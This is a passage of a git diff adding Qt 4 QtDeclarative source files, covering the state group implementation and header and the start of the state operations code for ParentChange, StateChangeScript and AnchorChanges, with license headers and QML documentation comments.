+ if (!currentState.isEmpty()) {
+ for (int ii = 0; ii < states.count(); ++ii) {
+ if (states.at(ii)->name() == currentState) {
+ oldState = states.at(ii);
+ break;
+ }
+ }
+ }
+
+ currentState = state;
+ emit q->stateChanged(currentState);
+
+ QDeclarativeState *newState = 0;
+ for (int ii = 0; ii < states.count(); ++ii) {
+ if (states.at(ii)->name() == currentState) {
+ newState = states.at(ii);
+ break;
+ }
+ }
+
+ if (oldState == 0 || newState == 0) {
+ if (!nullState) { nullState = new QDeclarativeState; QDeclarative_setParent_noEvent(nullState, q); }
+ if (!oldState) oldState = nullState;
+ if (!newState) newState = nullState;
+ }
+
+ newState->apply(q, transition, oldState);
+ applyingState = false;
+ if (!transition)
+ static_cast<QDeclarativeStatePrivate*>(QObjectPrivate::get(newState))->complete();
+}
+
+QDeclarativeState *QDeclarativeStateGroup::findState(const QString &name) const
+{
+ Q_D(const QDeclarativeStateGroup);
+ for (int i = 0; i < d->states.count(); ++i) {
+ QDeclarativeState *state = d->states.at(i);
+ if (state->name() == name)
+ return state;
+ }
+
+ return 0;
+}
+
+void QDeclarativeStateGroup::removeState(QDeclarativeState *state)
+{
+ Q_D(QDeclarativeStateGroup);
+ d->states.removeOne(state);
+}
+
+QT_END_NAMESPACE
+
+
diff --git a/src/declarative/util/qdeclarativestategroup_p.h b/src/declarative/util/qdeclarativestategroup_p.h
new file mode 100644
index 00000000..c99d6361
--- /dev/null
+++ b/src/declarative/util/qdeclarativestategroup_p.h
@@ -0,0 +1,95 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESTATEGROUP_H
+#define QDECLARATIVESTATEGROUP_H
+
+#include "private/qdeclarativestate_p.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeStateGroupPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeStateGroup : public QObject, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativeParserStatus)
+ Q_DECLARE_PRIVATE(QDeclarativeStateGroup)
+
+ Q_PROPERTY(QString state READ state WRITE setState NOTIFY stateChanged)
+ Q_PROPERTY(QDeclarativeListProperty<QDeclarativeState> states READ statesProperty DESIGNABLE false)
+ Q_PROPERTY(QDeclarativeListProperty<QDeclarativeTransition> transitions READ transitionsProperty DESIGNABLE false)
+
+public:
+ QDeclarativeStateGroup(QObject * = 0);
+ virtual ~QDeclarativeStateGroup();
+
+ QString state() const;
+ void setState(const QString &);
+
+ QDeclarativeListProperty<QDeclarativeState> statesProperty();
+ QList<QDeclarativeState *> states() const;
+
+ QDeclarativeListProperty<QDeclarativeTransition> transitionsProperty();
+
+ QDeclarativeState *findState(const QString &name) const;
+
+ virtual void classBegin();
+ virtual void componentComplete();
+Q_SIGNALS:
+ void stateChanged(const QString &);
+
+private:
+ friend class QDeclarativeState;
+ bool updateAutoState();
+ void removeState(QDeclarativeState *state);
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeStateGroup)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVESTATEGROUP_H
diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp
new file mode 100644
index 00000000..30c5730d
--- /dev/null
+++ b/src/declarative/util/qdeclarativestateoperations.cpp
@@ -0,0 +1,1587 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativestateoperations_p.h"
+
+#include <qdeclarative.h>
+#include <qdeclarativecontext.h>
+#include <qdeclarativeexpression.h>
+#include <qdeclarativeinfo.h>
+#include <qdeclarativeanchors_p_p.h>
+#include <qdeclarativeitem_p.h>
+#include <qdeclarativeguard_p.h>
+#include <qdeclarativenullablevalue_p_p.h>
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativeproperty_p.h"
+#include "private/qdeclarativebinding_p.h"
+#include "private/qdeclarativestate_p_p.h"
+
+#include <QtCore/qdebug.h>
+#include <QtGui/qgraphicsitem.h>
+#include <QtCore/qmath.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeParentChangePrivate : public QDeclarativeStateOperationPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeParentChange)
+public:
+ QDeclarativeParentChangePrivate() : target(0), parent(0), origParent(0), origStackBefore(0),
+ rewindParent(0), rewindStackBefore(0) {}
+
+ QDeclarativeItem *target;
+ QDeclarativeGuard<QDeclarativeItem> parent;
+ QDeclarativeGuard<QDeclarativeItem> origParent;
+ QDeclarativeGuard<QDeclarativeItem> origStackBefore;
+ QDeclarativeItem *rewindParent;
+ QDeclarativeItem *rewindStackBefore;
+
+ QDeclarativeNullableValue<QDeclarativeScriptString> xString;
+ QDeclarativeNullableValue<QDeclarativeScriptString> yString;
+ QDeclarativeNullableValue<QDeclarativeScriptString> widthString;
+ QDeclarativeNullableValue<QDeclarativeScriptString> heightString;
+ QDeclarativeNullableValue<QDeclarativeScriptString> scaleString;
+ QDeclarativeNullableValue<QDeclarativeScriptString> rotationString;
+
+ QDeclarativeNullableValue<qreal> x;
+ QDeclarativeNullableValue<qreal> y;
+ QDeclarativeNullableValue<qreal> width;
+ QDeclarativeNullableValue<qreal> height;
+ QDeclarativeNullableValue<qreal> scale;
+ QDeclarativeNullableValue<qreal> rotation;
+
+ void doChange(QDeclarativeItem *targetParent, QDeclarativeItem *stackBefore = 0);
+};
+
+void QDeclarativeParentChangePrivate::doChange(QDeclarativeItem *targetParent, QDeclarativeItem *stackBefore)
+{
+ if (targetParent && target && target->parentItem()) {
+ Q_Q(QDeclarativeParentChange);
+ bool ok;
+ const QTransform &transform = target->parentItem()->itemTransform(targetParent, &ok);
+ if (transform.type() >= QTransform::TxShear || !ok) {
+ qmlInfo(q) << QDeclarativeParentChange::tr("Unable to preserve appearance under complex transform");
+ ok = false;
+ }
+
+ qreal scale = 1;
+ qreal rotation = 0;
+ bool isRotate = (transform.type() == QTransform::TxRotate) || (transform.m11() < 0);
+ if (ok && !isRotate) {
+ if (transform.m11() == transform.m22())
+ scale = transform.m11();
+ else {
+ qmlInfo(q) << QDeclarativeParentChange::tr("Unable to preserve appearance under non-uniform scale");
+ ok = false;
+ }
+ } else if (ok && isRotate) {
+ if (transform.m11() == transform.m22())
+ scale = qSqrt(transform.m11()*transform.m11() + transform.m12()*transform.m12());
+ else {
+ qmlInfo(q) << QDeclarativeParentChange::tr("Unable to preserve appearance under non-uniform scale");
+ ok = false;
+ }
+
+ if (scale != 0)
+ rotation = atan2(transform.m12()/scale, transform.m11()/scale) * 180/qreal(M_PI);
+ else {
+ qmlInfo(q) << QDeclarativeParentChange::tr("Unable to preserve appearance under scale of 0");
+ ok = false;
+ }
+ }
+
+ const QPointF &point = transform.map(QPointF(target->x(),target->y()));
+ qreal x = point.x();
+ qreal y = point.y();
+
+ // setParentItem will update the transformOriginPoint if needed
+ target->setParentItem(targetParent);
+
+ if (ok && target->transformOrigin() != QDeclarativeItem::TopLeft) {
+ qreal tempxt = target->transformOriginPoint().x();
+ qreal tempyt = target->transformOriginPoint().y();
+ QTransform t;
+ t.translate(-tempxt, -tempyt);
+ t.rotate(rotation);
+ t.scale(scale, scale);
+ t.translate(tempxt, tempyt);
+ const QPointF &offset = t.map(QPointF(0,0));
+ x += offset.x();
+ y += offset.y();
+ }
+
+ if (ok) {
+ //qDebug() << x << y << rotation << scale;
+ target->setX(x);
+ target->setY(y);
+ target->setRotation(target->rotation() + rotation);
+ target->setScale(target->scale() * scale);
+ }
+ } else if (target) {
+ target->setParentItem(targetParent);
+ }
+
+ //restore the original stack position.
+ //### if stackBefore has also been reparented this won't work
+ if (stackBefore)
+ target->stackBefore(stackBefore);
+}
+
+/*!
+ \preliminary
+ \qmlclass ParentChange QDeclarativeParentChange
+ \ingroup qml-state-elements
+ \brief The ParentChange element allows you to reparent an Item in a state change.
+
+ ParentChange reparents an item while preserving its visual appearance (position, size,
+ rotation, and scale) on screen. You can then specify a transition to move/resize/rotate/scale
+ the item to its final intended appearance.
+
+ ParentChange can only preserve visual appearance if no complex transforms are involved.
+ More specifically, it will not work if the transform property has been set for any
+ items involved in the reparenting (i.e. items in the common ancestor tree
+ for the original and new parent).
+
+ The example below displays a large red rectangle and a small blue rectangle, side by side.
+ When the \c blueRect is clicked, it changes to the "reparented" state: its parent is changed to \c redRect and it is
+ positioned at (10, 10) within the red rectangle, as specified in the ParentChange.
+
+ \snippet doc/src/snippets/declarative/parentchange.qml 0
+
+ \image parentchange.png
+
+ You can specify at which point in a transition you want a ParentChange to occur by
+ using a ParentAnimation.
+*/
+
+
+QDeclarativeParentChange::QDeclarativeParentChange(QObject *parent)
+ : QDeclarativeStateOperation(*(new QDeclarativeParentChangePrivate), parent)
+{
+}
+
+QDeclarativeParentChange::~QDeclarativeParentChange()
+{
+}
+
+/*!
+ \qmlproperty real ParentChange::x
+ \qmlproperty real ParentChange::y
+ \qmlproperty real ParentChange::width
+ \qmlproperty real ParentChange::height
+ \qmlproperty real ParentChange::scale
+ \qmlproperty real ParentChange::rotation
+ These properties hold the new position, size, scale, and rotation
+ for the item in this state.
+*/
+QDeclarativeScriptString QDeclarativeParentChange::x() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->xString.value;
+}
+
+void tryReal(QDeclarativeNullableValue<qreal> &value, const QString &string)
+{
+ bool ok = false;
+ qreal realValue = string.toFloat(&ok);
+ if (ok)
+ value = realValue;
+ else
+ value.invalidate();
+}
+
+void QDeclarativeParentChange::setX(QDeclarativeScriptString x)
+{
+ Q_D(QDeclarativeParentChange);
+ d->xString = x;
+ tryReal(d->x, x.script());
+}
+
+bool QDeclarativeParentChange::xIsSet() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->xString.isValid();
+}
+
+QDeclarativeScriptString QDeclarativeParentChange::y() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->yString.value;
+}
+
+void QDeclarativeParentChange::setY(QDeclarativeScriptString y)
+{
+ Q_D(QDeclarativeParentChange);
+ d->yString = y;
+ tryReal(d->y, y.script());
+}
+
+bool QDeclarativeParentChange::yIsSet() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->yString.isValid();
+}
+
+QDeclarativeScriptString QDeclarativeParentChange::width() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->widthString.value;
+}
+
+void QDeclarativeParentChange::setWidth(QDeclarativeScriptString width)
+{
+ Q_D(QDeclarativeParentChange);
+ d->widthString = width;
+ tryReal(d->width, width.script());
+}
+
+bool QDeclarativeParentChange::widthIsSet() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->widthString.isValid();
+}
+
+QDeclarativeScriptString QDeclarativeParentChange::height() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->heightString.value;
+}
+
+void QDeclarativeParentChange::setHeight(QDeclarativeScriptString height)
+{
+ Q_D(QDeclarativeParentChange);
+ d->heightString = height;
+ tryReal(d->height, height.script());
+}
+
+bool QDeclarativeParentChange::heightIsSet() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->heightString.isValid();
+}
+
+QDeclarativeScriptString QDeclarativeParentChange::scale() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->scaleString.value;
+}
+
+void QDeclarativeParentChange::setScale(QDeclarativeScriptString scale)
+{
+ Q_D(QDeclarativeParentChange);
+ d->scaleString = scale;
+ tryReal(d->scale, scale.script());
+}
+
+bool QDeclarativeParentChange::scaleIsSet() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->scaleString.isValid();
+}
+
+QDeclarativeScriptString QDeclarativeParentChange::rotation() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->rotationString.value;
+}
+
+void QDeclarativeParentChange::setRotation(QDeclarativeScriptString rotation)
+{
+ Q_D(QDeclarativeParentChange);
+ d->rotationString = rotation;
+ tryReal(d->rotation, rotation.script());
+}
+
+bool QDeclarativeParentChange::rotationIsSet() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->rotationString.isValid();
+}
+
+QDeclarativeItem *QDeclarativeParentChange::originalParent() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->origParent;
+}
+
+/*!
+ \qmlproperty Item ParentChange::target
+ This property holds the item to be reparented
+*/
+
+QDeclarativeItem *QDeclarativeParentChange::object() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->target;
+}
+
+void QDeclarativeParentChange::setObject(QDeclarativeItem *target)
+{
+ Q_D(QDeclarativeParentChange);
+ d->target = target;
+}
+
+/*!
+ \qmlproperty Item ParentChange::parent
+ This property holds the new parent for the item in this state.
+*/
+
+QDeclarativeItem *QDeclarativeParentChange::parent() const
+{
+ Q_D(const QDeclarativeParentChange);
+ return d->parent;
+}
+
+void QDeclarativeParentChange::setParent(QDeclarativeItem *parent)
+{
+ Q_D(QDeclarativeParentChange);
+ d->parent = parent;
+}
+
+QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions()
+{
+ Q_D(QDeclarativeParentChange);
+ if (!d->target || !d->parent)
+ return ActionList();
+
+ ActionList actions;
+
+ QDeclarativeAction a;
+ a.event = this;
+ actions << a;
+
+ QDeclarativeContext *ctxt = qmlContext(this);
+
+ if (d->xString.isValid()) {
+ if (d->x.isValid()) {
+ QDeclarativeAction xa(d->target, QLatin1String("x"), ctxt, d->x.value);
+ actions << xa;
+ } else {
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->xString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x"), ctxt));
+ QDeclarativeAction xa;
+ xa.property = newBinding->property();
+ xa.toBinding = newBinding;
+ xa.fromValue = xa.property.read();
+ xa.deletableToBinding = true;
+ actions << xa;
+ }
+ }
+
+ if (d->yString.isValid()) {
+ if (d->y.isValid()) {
+ QDeclarativeAction ya(d->target, QLatin1String("y"), ctxt, d->y.value);
+ actions << ya;
+ } else {
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->yString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("y"), ctxt));
+ QDeclarativeAction ya;
+ ya.property = newBinding->property();
+ ya.toBinding = newBinding;
+ ya.fromValue = ya.property.read();
+ ya.deletableToBinding = true;
+ actions << ya;
+ }
+ }
+
+ if (d->scaleString.isValid()) {
+ if (d->scale.isValid()) {
+ QDeclarativeAction sa(d->target, QLatin1String("scale"), ctxt, d->scale.value);
+ actions << sa;
+ } else {
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->scaleString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("scale"), ctxt));
+ QDeclarativeAction sa;
+ sa.property = newBinding->property();
+ sa.toBinding = newBinding;
+ sa.fromValue = sa.property.read();
+ sa.deletableToBinding = true;
+ actions << sa;
+ }
+ }
+
+ if (d->rotationString.isValid()) {
+ if (d->rotation.isValid()) {
+ QDeclarativeAction ra(d->target, QLatin1String("rotation"), ctxt, d->rotation.value);
+ actions << ra;
+ } else {
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->rotationString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("rotation"), ctxt));
+ QDeclarativeAction ra;
+ ra.property = newBinding->property();
+ ra.toBinding = newBinding;
+ ra.fromValue = ra.property.read();
+ ra.deletableToBinding = true;
+ actions << ra;
+ }
+ }
+
+ if (d->widthString.isValid()) {
+ if (d->width.isValid()) {
+ QDeclarativeAction wa(d->target, QLatin1String("width"), ctxt, d->width.value);
+ actions << wa;
+ } else {
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->widthString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("width"), ctxt));
+ QDeclarativeAction wa;
+ wa.property = newBinding->property();
+ wa.toBinding = newBinding;
+ wa.fromValue = wa.property.read();
+ wa.deletableToBinding = true;
+ actions << wa;
+ }
+ }
+
+ if (d->heightString.isValid()) {
+ if (d->height.isValid()) {
+ QDeclarativeAction ha(d->target, QLatin1String("height"), ctxt, d->height.value);
+ actions << ha;
+ } else {
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(d->heightString.value.script(), d->target, ctxt);
+ newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("height"), ctxt));
+ QDeclarativeAction ha;
+ ha.property = newBinding->property();
+ ha.toBinding = newBinding;
+ ha.fromValue = ha.property.read();
+ ha.deletableToBinding = true;
+ actions << ha;
+ }
+ }
+
+ return actions;
+}
+
+class AccessibleFxItem : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeItem)
+public:
+ int siblingIndex() {
+ Q_D(QDeclarativeItem);
+ return d->siblingIndex;
+ }
+};
+
+void QDeclarativeParentChange::saveOriginals()
+{
+ Q_D(QDeclarativeParentChange);
+ saveCurrentValues();
+ d->origParent = d->rewindParent;
+ d->origStackBefore = d->rewindStackBefore;
+}
+
+/*void QDeclarativeParentChange::copyOriginals(QDeclarativeActionEvent *other)
+{
+ Q_D(QDeclarativeParentChange);
+ QDeclarativeParentChange *pc = static_cast<QDeclarativeParentChange*>(other);
+
+ d->origParent = pc->d_func()->rewindParent;
+ d->origStackBefore = pc->d_func()->rewindStackBefore;
+
+ saveCurrentValues();
+}*/
+
+void QDeclarativeParentChange::execute(Reason)
+{
+ Q_D(QDeclarativeParentChange);
+ d->doChange(d->parent);
+}
+
+bool QDeclarativeParentChange::isReversable()
+{
+ return true;
+}
+
+void QDeclarativeParentChange::reverse(Reason)
+{
+ Q_D(QDeclarativeParentChange);
+ d->doChange(d->origParent, d->origStackBefore);
+}
+
+QString QDeclarativeParentChange::typeName() const
+{
+ return QLatin1String("ParentChange");
+}
+
+bool QDeclarativeParentChange::override(QDeclarativeActionEvent*other)
+{
+ Q_D(QDeclarativeParentChange);
+ if (other->typeName() != QLatin1String("ParentChange"))
+ return false;
+ if (QDeclarativeParentChange *otherPC = static_cast<QDeclarativeParentChange*>(other))
+ return (d->target == otherPC->object());
+ return false;
+}
+
+void QDeclarativeParentChange::saveCurrentValues()
+{
+ Q_D(QDeclarativeParentChange);
+ if (!d->target) {
+ d->rewindParent = 0;
+ d->rewindStackBefore = 0;
+ return;
+ }
+
+ d->rewindParent = d->target->parentItem();
+ d->rewindStackBefore = 0;
+
+ if (!d->rewindParent)
+ return;
+
+ //try to determine the item's original stack position so we can restore it
+ int siblingIndex = ((AccessibleFxItem*)d->target)->siblingIndex() + 1;
+ QList<QGraphicsItem*> children = d->rewindParent->childItems();
+ for (int i = 0; i < children.count(); ++i) {
+ QDeclarativeItem *child = qobject_cast<QDeclarativeItem*>(children.at(i));
+ if (!child)
+ continue;
+ if (((AccessibleFxItem*)child)->siblingIndex() == siblingIndex) {
+ d->rewindStackBefore = child;
+ break;
+ }
+ }
+}
+
+void QDeclarativeParentChange::rewind()
+{
+ Q_D(QDeclarativeParentChange);
+ d->doChange(d->rewindParent, d->rewindStackBefore);
+}
+
+class QDeclarativeStateChangeScriptPrivate : public QDeclarativeStateOperationPrivate
+{
+public:
+ QDeclarativeStateChangeScriptPrivate() {}
+
+ QDeclarativeScriptString script;
+ QString name;
+};
+
+/*!
+ \qmlclass StateChangeScript QDeclarativeStateChangeScript
+ \ingroup qml-state-elements
+ \brief The StateChangeScript element allows you to run a script in a state.
+
+ A StateChangeScript is run upon entering a state. You can optionally use
+ ScriptAction to specify the point in the transition at which
+ the StateChangeScript should to be run.
+
+ \snippet snippets/declarative/states/statechangescript.qml state and transition
+
+ \sa ScriptAction
+*/
+
+QDeclarativeStateChangeScript::QDeclarativeStateChangeScript(QObject *parent)
+: QDeclarativeStateOperation(*(new QDeclarativeStateChangeScriptPrivate), parent)
+{
+}
+
+QDeclarativeStateChangeScript::~QDeclarativeStateChangeScript()
+{
+}
+
+/*!
+ \qmlproperty script StateChangeScript::script
+ This property holds the script to run when the state is current.
+*/
+QDeclarativeScriptString QDeclarativeStateChangeScript::script() const
+{
+ Q_D(const QDeclarativeStateChangeScript);
+ return d->script;
+}
+
+void QDeclarativeStateChangeScript::setScript(const QDeclarativeScriptString &s)
+{
+ Q_D(QDeclarativeStateChangeScript);
+ d->script = s;
+}
+
+/*!
+ \qmlproperty string StateChangeScript::name
+ This property holds the name of the script. This name can be used by a
+ ScriptAction to target a specific script.
+
+ \sa ScriptAction::scriptName
+*/
+QString QDeclarativeStateChangeScript::name() const
+{
+ Q_D(const QDeclarativeStateChangeScript);
+ return d->name;
+}
+
+void QDeclarativeStateChangeScript::setName(const QString &n)
+{
+ Q_D(QDeclarativeStateChangeScript);
+ d->name = n;
+}
+
+void QDeclarativeStateChangeScript::execute(Reason)
+{
+ Q_D(QDeclarativeStateChangeScript);
+ const QString &script = d->script.script();
+ if (!script.isEmpty()) {
+ QDeclarativeExpression expr(d->script.context(), d->script.scopeObject(), script);
+ QDeclarativeData *ddata = QDeclarativeData::get(this);
+ if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty())
+ expr.setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber);
+ expr.evaluate();
+ if (expr.hasError())
+ qmlInfo(this, expr.error());
+ }
+}
+
+QDeclarativeStateChangeScript::ActionList QDeclarativeStateChangeScript::actions()
+{
+ ActionList rv;
+ QDeclarativeAction a;
+ a.event = this;
+ rv << a;
+ return rv;
+}
+
+QString QDeclarativeStateChangeScript::typeName() const
+{
+ return QLatin1String("StateChangeScript");
+}
+
+/*!
+ \qmlclass AnchorChanges QDeclarativeAnchorChanges
+ \ingroup qml-state-elements
+ \brief The AnchorChanges element allows you to change the anchors of an item in a state.
+
+ The AnchorChanges element is used to modify the anchors of an item in a \l State.
+
+ AnchorChanges cannot be used to modify the margins on an item. For this, use
+ PropertyChanges intead.
+
+ In the following example we change the top and bottom anchors of an item
+ using AnchorChanges, and the top and bottom anchor margins using
+ PropertyChanges:
+
+ \snippet doc/src/snippets/declarative/anchorchanges.qml 0
+
+ \image anchorchanges.png
+
+ AnchorChanges can be animated using AnchorAnimation.
+ \qml
+ //animate our anchor changes
+ Transition {
+ AnchorAnimation {}
+ }
+ \endqml
+
+ Margin animations can be animated using NumberAnimation.
+
+ For more information on anchors see \l {anchor-layout}{Anchor Layouts}.
+*/
+
+class QDeclarativeAnchorSetPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeAnchorSet)
+public:
+ QDeclarativeAnchorSetPrivate()
+ : usedAnchors(0), resetAnchors(0), fill(0),
+ centerIn(0)/*, leftMargin(0), rightMargin(0), topMargin(0), bottomMargin(0),
+ margins(0), vCenterOffset(0), hCenterOffset(0), baselineOffset(0)*/
+ {
+ }
+
+ QDeclarativeAnchors::Anchors usedAnchors;
+ QDeclarativeAnchors::Anchors resetAnchors;
+
+ QDeclarativeItem *fill;
+ QDeclarativeItem *centerIn;
+
+ QDeclarativeScriptString leftScript;
+ QDeclarativeScriptString rightScript;
+ QDeclarativeScriptString topScript;
+ QDeclarativeScriptString bottomScript;
+ QDeclarativeScriptString hCenterScript;
+ QDeclarativeScriptString vCenterScript;
+ QDeclarativeScriptString baselineScript;
+
+ /*qreal leftMargin;
+ qreal rightMargin;
+ qreal topMargin;
+ qreal bottomMargin;
+ qreal margins;
+ qreal vCenterOffset;
+ qreal hCenterOffset;
+ qreal baselineOffset;*/
+};
+
+QDeclarativeAnchorSet::QDeclarativeAnchorSet(QObject *parent)
+ : QObject(*new QDeclarativeAnchorSetPrivate, parent)
+{
+}
+
+QDeclarativeAnchorSet::~QDeclarativeAnchorSet()
+{
+}
+
+QDeclarativeScriptString QDeclarativeAnchorSet::top() const
+{
+ Q_D(const QDeclarativeAnchorSet);
+ return d->topScript;
+}
+
+void QDeclarativeAnchorSet::setTop(const QDeclarativeScriptString &edge)
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors |= QDeclarativeAnchors::TopAnchor;
+ d->topScript = edge;
+ if (edge.script() == QLatin1String("undefined"))
+ resetTop();
+}
+
+void QDeclarativeAnchorSet::resetTop()
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors &= ~QDeclarativeAnchors::TopAnchor;
+ d->topScript = QDeclarativeScriptString();
+ d->resetAnchors |= QDeclarativeAnchors::TopAnchor;
+}
+
+QDeclarativeScriptString QDeclarativeAnchorSet::bottom() const
+{
+ Q_D(const QDeclarativeAnchorSet);
+ return d->bottomScript;
+}
+
+void QDeclarativeAnchorSet::setBottom(const QDeclarativeScriptString &edge)
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors |= QDeclarativeAnchors::BottomAnchor;
+ d->bottomScript = edge;
+ if (edge.script() == QLatin1String("undefined"))
+ resetBottom();
+}
+
+void QDeclarativeAnchorSet::resetBottom()
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors &= ~QDeclarativeAnchors::BottomAnchor;
+ d->bottomScript = QDeclarativeScriptString();
+ d->resetAnchors |= QDeclarativeAnchors::BottomAnchor;
+}
+
+QDeclarativeScriptString QDeclarativeAnchorSet::verticalCenter() const
+{
+ Q_D(const QDeclarativeAnchorSet);
+ return d->vCenterScript;
+}
+
+void QDeclarativeAnchorSet::setVerticalCenter(const QDeclarativeScriptString &edge)
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors |= QDeclarativeAnchors::VCenterAnchor;
+ d->vCenterScript = edge;
+ if (edge.script() == QLatin1String("undefined"))
+ resetVerticalCenter();
+}
+
+void QDeclarativeAnchorSet::resetVerticalCenter()
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors &= ~QDeclarativeAnchors::VCenterAnchor;
+ d->vCenterScript = QDeclarativeScriptString();
+ d->resetAnchors |= QDeclarativeAnchors::VCenterAnchor;
+}
+
+QDeclarativeScriptString QDeclarativeAnchorSet::baseline() const
+{
+ Q_D(const QDeclarativeAnchorSet);
+ return d->baselineScript;
+}
+
+void QDeclarativeAnchorSet::setBaseline(const QDeclarativeScriptString &edge)
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors |= QDeclarativeAnchors::BaselineAnchor;
+ d->baselineScript = edge;
+ if (edge.script() == QLatin1String("undefined"))
+ resetBaseline();
+}
+
+void QDeclarativeAnchorSet::resetBaseline()
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors &= ~QDeclarativeAnchors::BaselineAnchor;
+ d->baselineScript = QDeclarativeScriptString();
+ d->resetAnchors |= QDeclarativeAnchors::BaselineAnchor;
+}
+
+QDeclarativeScriptString QDeclarativeAnchorSet::left() const
+{
+ Q_D(const QDeclarativeAnchorSet);
+ return d->leftScript;
+}
+
+void QDeclarativeAnchorSet::setLeft(const QDeclarativeScriptString &edge)
+{
+ Q_D(QDeclarativeAnchorSet);
+ d->usedAnchors |= QDeclarativeAnchors::LeftAnchor;
+ d->leftScript = edge;
+ if (edge.script() == QLatin1String("undefined"))
+ resetLeft();
+}
+
+void QDeclarativeAnchorSet::resetLeft()
+{
+ Q_D(QDeclarativeAnchorSet);
